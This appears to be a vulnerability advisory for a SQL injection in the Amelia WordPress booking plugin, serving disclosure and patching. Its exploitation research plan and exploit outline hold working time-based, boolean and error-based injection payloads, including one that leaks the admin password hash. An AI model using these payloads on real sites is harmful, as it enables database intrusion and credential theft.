CVE-2026-4668

Amelia <= 2.1.2 - Authenticated (Manager+) SQL Injection via 'sort' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.1.3
Patched in
1d
Time to patch

Description

The Booking for Appointments and Events Calendar - Amelia plugin for WordPress is vulnerable to SQL Injection via the `sort` parameter in the payments listing endpoint in all versions up to, and including, 2.1.2. This is due to insufficient escaping on the user-supplied `sort` parameter and lack of sufficient preparation on the existing SQL query in `PaymentRepository.php`, where the sort field is interpolated directly into an ORDER BY clause without sanitization or whitelist validation. PDO prepared statements do not protect ORDER BY column names. GET requests also skip Amelia's nonce validation entirely. This makes it possible for authenticated attackers, with Manager-level (`wpamelia-manager`) access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.1.2
PublishedMarch 31, 2026
Last updatedMarch 31, 2026
Affected pluginameliabooking

What Changed in the Fix

Changes introduced in v2.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-4668 (Amelia SQL Injection) ## 1. Vulnerability Summary The Amelia Booking plugin for WordPress is vulnerable to an authenticated SQL injection via the `sort` parameter in its payments listing API endpoint. The vulnerability exists in `PaymentRepository.php`,…

Show full research plan

Exploitation Research Plan - CVE-2026-4668 (Amelia SQL Injection)

1. Vulnerability Summary

The Amelia Booking plugin for WordPress is vulnerable to an authenticated SQL injection via the sort parameter in its payments listing API endpoint. The vulnerability exists in PaymentRepository.php, where the sort parameter provided by the user is directly interpolated into an SQL ORDER BY clause without sufficient sanitization, escaping, or whitelist validation. Because PDO prepared statements do not support parameterization of column names or identifiers in the ORDER BY clause, the input remains active SQL. Furthermore, GET requests to the Amelia API skip nonce validation, allowing authenticated users with the wpamelia-manager role to perform time-based blind SQL injection.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php?action=wpamelia_api&call=/payments
  • Method: GET (Specifically used to bypass nonce validation as mentioned in the description).
  • Vulnerable Parameter: sort
  • Required Role: wpamelia-manager (Manager level and above).
  • Preconditions: The plugin must be active, and at least one payment record should ideally exist in the database to ensure the ORDER BY clause is evaluated during query execution.

3. Code Flow

  1. Entry Point: A GET request is sent to admin-ajax.php with action=wpamelia_api.
  2. Hook Registration: Plugin::wpAmeliaApiCall() is triggered by the wp_ajax_wpamelia_api and wp_ajax_nopriv_wpamelia_api hooks (via the AMELIA_ACTION_SLUG defined in ameliabooking.php).
  3. Routing: Plugin::wpAmeliaApiCall() initializes the Slim application and calls Routes::routes($app, $container).
  4. Endpoint Dispatch: The Slim router matches the call=/payments parameter to the payment listing controller.
  5. Processing: The request reaches PaymentApplicationService and eventually PaymentRepository.
  6. Sink: In PaymentRepository.php, the value of the sort parameter is retrieved from the request and concatenated directly into the $query string before being executed via $this->db->query() or $this->db->get_results().
    • Conceptual Sink: $sql = "SELECT ... FROM ... ORDER BY " . $params['sort'] . " " . $params['order'];

4. Nonce Acquisition Strategy

According to the vulnerability description: "GET requests also skip Amelia's nonce validation entirely."

Therefore, no nonce acquisition is required for this specific exploit. The attacker only needs a valid session cookie for a user with the wpamelia-manager capability.

5. Exploitation Strategy

The goal is to demonstrate a time-based blind SQL injection by inducing a 5-second delay.

Step 1: Authentication

Authenticate as a user with the wpamelia-manager role and capture the session cookies.

Step 2: Trigger Time-Based Injection

Construct a request to the /payments endpoint. We will inject a subquery into the sort parameter that triggers SLEEP().

Payload Structure:
id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)

Full Request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/payments&sort=id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)&order=ASC
  • Method: GET
  • Headers:
    • Cookie: [Manager_Cookies]
    • X-Requested-With: XMLHttpRequest

Step 3: Data Extraction (Proof of Concept)

To prove data can be extracted, we can use a conditional sleep to check if the first character of the admin's password hash (typically $P$ for phpass or $wp$ for bcrypt) matches a specific character.

Payload:
sort=IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)=0x24,SLEEP(5),id)
(0x24 is '$')

6. Test Data Setup

  1. Create Manager User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    wp user cap add attacker wpamelia-manager
    
  2. Ensure Payment Data Exists:
    The ORDER BY clause must execute. If the wp_amelia_payments table is empty, the injection might not trigger a delay in some MySQL versions.
    # Create a dummy customer
    wp db query "INSERT INTO wp_amelia_users (firstName, lastName, email, type) VALUES ('Test', 'Customer', 'customer@example.com', 'customer');"
    # Get the ID of the inserted user (assume 2)
    # Create a dummy payment record
    wp db query "INSERT INTO wp_amelia_payments (amount, dateTime, status, customerId, type) VALUES (10.00, NOW(), 'paid', 2, 'appointment');"
    

7. Expected Results

  1. Baseline Request: A request with sort=id should return immediately (e.g., < 200ms).
  2. Attack Request: A request with the SLEEP(5) payload should take approximately 5 seconds to respond.
  3. Response Body: Should contain a JSON object representing the payments list (even if empty, the time delay confirms the injection).

8. Verification Steps

  1. Time measurement: Use the http_request tool's response metadata to confirm elapsed_time >= 5.0 seconds.
  2. Database Integrity: Verify that the dummy payment exists using:
    wp db query "SELECT count(*) FROM wp_amelia_payments;"
    
  3. Error Check: Check wp-content/debug.log (if enabled) to see if the query failed or if the injection was logged.

9. Alternative Approaches

If the ORDER BY injection requires a more complex syntax, try:

  • Boolean-based: sort=(CASE WHEN (1=1) THEN id ELSE amount END). Compare the order of results when the condition is true vs. false.
  • Alternative Time-based Syntax:
    • sort=id AND (SELECT 2134 FROM (SELECT(SLEEP(5)))b)
    • sort=SLEEP(5) (If the query allows a raw function call in ORDER BY).
  • Error-based (if WP_DEBUG is on):
    • sort=updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Amelia Booking plugin for WordPress is vulnerable to an authenticated time-based blind SQL injection via the 'sort' parameter in its payments listing API endpoint. This occurs because the plugin directly interpolates user-supplied sort criteria into an SQL ORDER BY clause without sufficient validation or whitelisting. Authenticated users with Manager-level permissions or higher can exploit this, as GET requests to the Amelia API skip nonce validation entirely.

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.1.2/ameliabooking.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.1.3/ameliabooking.php
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 2.1.2
+Version: 2.1.3
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -109,7 +111,7 @@
 
 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '2.1.2');
+    define('AMELIA_VERSION', '2.1.3');
 }
 
 // Const for site URL
... (truncated)

Exploit Outline

1. Authenticate to the WordPress site as a user with the 'wpamelia-manager' role. 2. Access the payments listing endpoint at '/wp-admin/admin-ajax.php?action=wpamelia_api&call=/payments' using a GET request (to bypass nonce checks). 3. Use the 'sort' parameter to inject a time-based SQL payload into the ORDER BY clause, such as: 'id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)'. 4. Observe the response delay; a delay of approximately 5 seconds confirms the existence of the vulnerability. 5. To extract data, utilize conditional logic within the injection (e.g., 'IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)=char(36),SLEEP(5),id)') to leak database contents character-by-character based on the presence or absence of a response delay.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.